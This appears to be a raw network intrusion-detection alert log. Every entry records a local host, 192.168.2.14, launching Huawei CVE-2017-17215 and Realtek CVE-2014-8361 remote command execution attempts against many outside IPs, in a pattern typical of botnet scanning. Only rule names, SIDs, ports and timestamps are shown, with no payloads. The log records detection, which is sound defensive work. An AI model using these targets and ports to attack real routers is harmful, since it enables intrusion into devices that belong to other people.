Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 77.70.6.175

Timestamp:	07/20/24-23:01:34.911249
SID:	2027339
Source Port:	48440
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.7.138.240

Timestamp:	07/20/24-23:01:05.905239
SID:	2829579
Source Port:	47388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.231.162.190

Timestamp:	07/20/24-23:01:33.047902
SID:	2835222
Source Port:	49632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.190.25

Timestamp:	07/20/24-23:01:22.785873
SID:	2829579
Source Port:	60462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 70.48.172.224

Timestamp:	07/20/24-23:01:34.911761
SID:	2027339
Source Port:	47332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.94.206.239

Timestamp:	07/20/24-23:01:05.904128
SID:	2835222
Source Port:	46134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 220.47.15.117

Timestamp:	07/20/24-23:01:34.945580
SID:	2027339
Source Port:	35508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 210.169.65.93

Timestamp:	07/20/24-23:01:28.142925
SID:	2835222
Source Port:	57468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.101.245.95

Timestamp:	07/20/24-23:01:14.397897
SID:	2829579
Source Port:	38440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 51.249.121.241

Timestamp:	07/20/24-23:01:06.641896
SID:	2027339
Source Port:	43714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.214.119

Timestamp:	07/20/24-23:01:07.684133
SID:	2829579
Source Port:	60174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.44.218.190

Timestamp:	07/20/24-23:01:05.582077
SID:	2027339
Source Port:	47482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.59.243.36

Timestamp:	07/20/24-23:01:07.683360
SID:	2835222
Source Port:	45068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.88.114

Timestamp:	07/20/24-23:01:02.440622
SID:	2829579
Source Port:	45974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 5.217.173.216

Timestamp:	07/20/24-23:01:05.561402
SID:	2025132
Source Port:	48354
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.68.139.198

Timestamp:	07/20/24-23:01:11.467355
SID:	2829579
Source Port:	35134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 111.101.129.102

Timestamp:	07/20/24-23:01:25.234700
SID:	2835222
Source Port:	40030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 76.246.195.163

Timestamp:	07/20/24-23:01:33.294979
SID:	2025132
Source Port:	33466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 180.39.180.182

Timestamp:	07/20/24-23:01:13.329969
SID:	2831300
Source Port:	44222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 183.15.201.247

Timestamp:	07/20/24-23:01:32.470001
SID:	2025132
Source Port:	56324
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.144.197.199

Timestamp:	07/20/24-23:01:22.796666
SID:	2829579
Source Port:	36884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.33.153

Timestamp:	07/20/24-23:01:19.224550
SID:	2829579
Source Port:	42688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.187.174.249

Timestamp:	07/20/24-23:01:37.124220
SID:	2829579
Source Port:	52052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 222.154.38.130

Timestamp:	07/20/24-23:01:25.117603
SID:	2027339
Source Port:	33056
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.102.88.79

Timestamp:	07/20/24-23:01:05.906603
SID:	2835222
Source Port:	39680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.199.235.176

Timestamp:	07/20/24-23:01:14.472855
SID:	2835222
Source Port:	60162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.196.31.171

Timestamp:	07/20/24-23:01:02.407178
SID:	2835222
Source Port:	55478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.92.139

Timestamp:	07/20/24-23:01:25.234700
SID:	2835222
Source Port:	40462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.104.186.186

Timestamp:	07/20/24-23:01:14.397142
SID:	2835222
Source Port:	52048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 206.125.101.194

Timestamp:	07/20/24-23:01:33.567010
SID:	2027339
Source Port:	36664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.209.91.142

Timestamp:	07/20/24-23:01:05.551661
SID:	2027339
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.157.252

Timestamp:	07/20/24-23:01:07.672387
SID:	2829579
Source Port:	35926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 139.231.65.139

Timestamp:	07/20/24-23:01:29.508708
SID:	2027339
Source Port:	36212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.10.123

Timestamp:	07/20/24-23:01:11.454417
SID:	2829579
Source Port:	48940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.186.3.173

Timestamp:	07/20/24-23:01:02.409019
SID:	2829579
Source Port:	60986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.92.46.65

Timestamp:	07/20/24-23:01:02.411645
SID:	2835222
Source Port:	40624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 62.62.247.176

Timestamp:	07/20/24-23:01:13.332173
SID:	2027339
Source Port:	47232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 101.101.61.174

Timestamp:	07/20/24-23:01:33.036114
SID:	2835222
Source Port:	39130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 83.5.165.222

Timestamp:	07/20/24-23:01:25.278588
SID:	2835222
Source Port:	45418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 24.110.26.135

Timestamp:	07/20/24-23:01:34.111983
SID:	2027339
Source Port:	57580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 14.235.67.126

Timestamp:	07/20/24-23:01:33.271159
SID:	2025132
Source Port:	57060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.168.145.158

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	58432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.151.178.30

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	38798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 138.235.159.241

Timestamp:	07/20/24-23:01:34.690310
SID:	2025132
Source Port:	53092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 196.41.223.61

Timestamp:	07/20/24-23:01:19.227537
SID:	2829579
Source Port:	36282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 139.72.178.53

Timestamp:	07/20/24-23:01:34.907114
SID:	2027339
Source Port:	58900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.30.174.147

Timestamp:	07/20/24-23:01:22.790734
SID:	2829579
Source Port:	57820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.159.57.3

Timestamp:	07/20/24-23:01:05.911930
SID:	2829579
Source Port:	43892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.184.132.63

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	36232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 208.42.117.191

Timestamp:	07/20/24-23:01:23.032933
SID:	2027339
Source Port:	42106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.224.222

Timestamp:	07/20/24-23:01:05.902118
SID:	2835222
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 210.67.14.178

Timestamp:	07/20/24-23:01:34.949876
SID:	2027339
Source Port:	52072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 96.50.39.180

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	39332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 104.41.121.72

Timestamp:	07/20/24-23:01:32.765427
SID:	2027339
Source Port:	60128
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 60.162.189.105

Timestamp:	07/20/24-23:01:02.411663
SID:	2835222
Source Port:	50544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 131.10.23.131

Timestamp:	07/20/24-23:01:33.056745
SID:	2829579
Source Port:	48204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 184.171.106.251

Timestamp:	07/20/24-23:01:23.015463
SID:	2025132
Source Port:	35700
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.177.125.202

Timestamp:	07/20/24-23:01:02.414527
SID:	2835222
Source Port:	57698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 222.219.107.170

Timestamp:	07/20/24-23:01:25.280228
SID:	2025132
Source Port:	47816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 36.198.164.211

Timestamp:	07/20/24-23:01:06.674408
SID:	2027339
Source Port:	46188
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.194.34.140

Timestamp:	07/20/24-23:01:33.060990
SID:	2835222
Source Port:	45540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 211.192.130.220

Timestamp:	07/20/24-23:01:13.329423
SID:	2831300
Source Port:	57202
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.96.17.87

Timestamp:	07/20/24-23:01:11.477507
SID:	2835222
Source Port:	35438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.222.69.163

Timestamp:	07/20/24-23:01:11.476805
SID:	2835222
Source Port:	37712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 182.207.82.188

Timestamp:	07/20/24-23:01:05.873034
SID:	2025132
Source Port:	36454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.29.25.95

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	46062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 125.202.144.54

Timestamp:	07/20/24-23:01:24.075554
SID:	2027339
Source Port:	48776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.234.163.92

Timestamp:	07/20/24-23:01:07.684526
SID:	2835222
Source Port:	52702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 107.71.221.19

Timestamp:	07/20/24-23:01:24.078416
SID:	2831300
Source Port:	34982
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.5.254

Timestamp:	07/20/24-23:01:14.397054
SID:	2829579
Source Port:	35772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 174.113.101.241

Timestamp:	07/20/24-23:01:23.160246
SID:	2025132
Source Port:	49738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 161.62.69.95

Timestamp:	07/20/24-23:01:33.094838
SID:	2835222
Source Port:	49174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.250.30.224

Timestamp:	07/20/24-23:01:37.227353
SID:	2835222
Source Port:	57094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 36.44.157.9

Timestamp:	07/20/24-23:01:06.552778
SID:	2025132
Source Port:	53066
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 148.218.221.20

Timestamp:	07/20/24-23:01:34.914909
SID:	2831300
Source Port:	50944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 124.185.245.199

Timestamp:	07/20/24-23:01:34.931386
SID:	2831300
Source Port:	59206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.95.127.113

Timestamp:	07/20/24-23:01:19.233507
SID:	2829579
Source Port:	48254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 60.101.77.2

Timestamp:	07/20/24-23:01:25.473995
SID:	2025132
Source Port:	46966
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 85.45.111.26

Timestamp:	07/20/24-23:01:28.219332
SID:	2835222
Source Port:	46784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.214.187.126

Timestamp:	07/20/24-23:01:28.143148
SID:	2829579
Source Port:	36830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 100.194.101.29

Timestamp:	07/20/24-23:01:14.416273
SID:	2829579
Source Port:	55888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.212.247

Timestamp:	07/20/24-23:01:07.676921
SID:	2835222
Source Port:	54522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.198.173.107

Timestamp:	07/20/24-23:01:05.895754
SID:	2835222
Source Port:	55814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 71.96.116.185

Timestamp:	07/20/24-23:01:13.331580
SID:	2027339
Source Port:	53624
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.93.226.90

Timestamp:	07/20/24-23:01:05.893818
SID:	2829579
Source Port:	49206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.72.43

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	34252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.148.239.165

Timestamp:	07/20/24-23:01:07.684526
SID:	2829579
Source Port:	44028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 189.27.2.190

Timestamp:	07/20/24-23:01:33.614419
SID:	2025132
Source Port:	33630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 94.45.75.174

Timestamp:	07/20/24-23:01:25.185227
SID:	2025132
Source Port:	53594
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 200.181.183.183

Timestamp:	07/20/24-23:01:13.329544
SID:	2027339
Source Port:	44450
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.172.116.232

Timestamp:	07/20/24-23:01:33.879619
SID:	2027339
Source Port:	43790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.109.119.217

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	34532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 202.192.16.30

Timestamp:	07/20/24-23:01:11.472602
SID:	2835222
Source Port:	33866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.180.168

Timestamp:	07/20/24-23:01:02.414528
SID:	2835222
Source Port:	60422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.155.178.232

Timestamp:	07/20/24-23:01:33.059039
SID:	2829579
Source Port:	37818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.77.202.247

Timestamp:	07/20/24-23:01:02.413579
SID:	2835222
Source Port:	56066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.107.243.32

Timestamp:	07/20/24-23:01:22.781976
SID:	2835222
Source Port:	48650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.49.30.177

Timestamp:	07/20/24-23:01:37.199306
SID:	2835222
Source Port:	41162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.100.12

Timestamp:	07/20/24-23:01:22.779153
SID:	2829579
Source Port:	34236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.156.152.13

Timestamp:	07/20/24-23:01:28.219332
SID:	2829579
Source Port:	56264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 178.57.58.147

Timestamp:	07/20/24-23:01:06.285046
SID:	2025132
Source Port:	59942
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

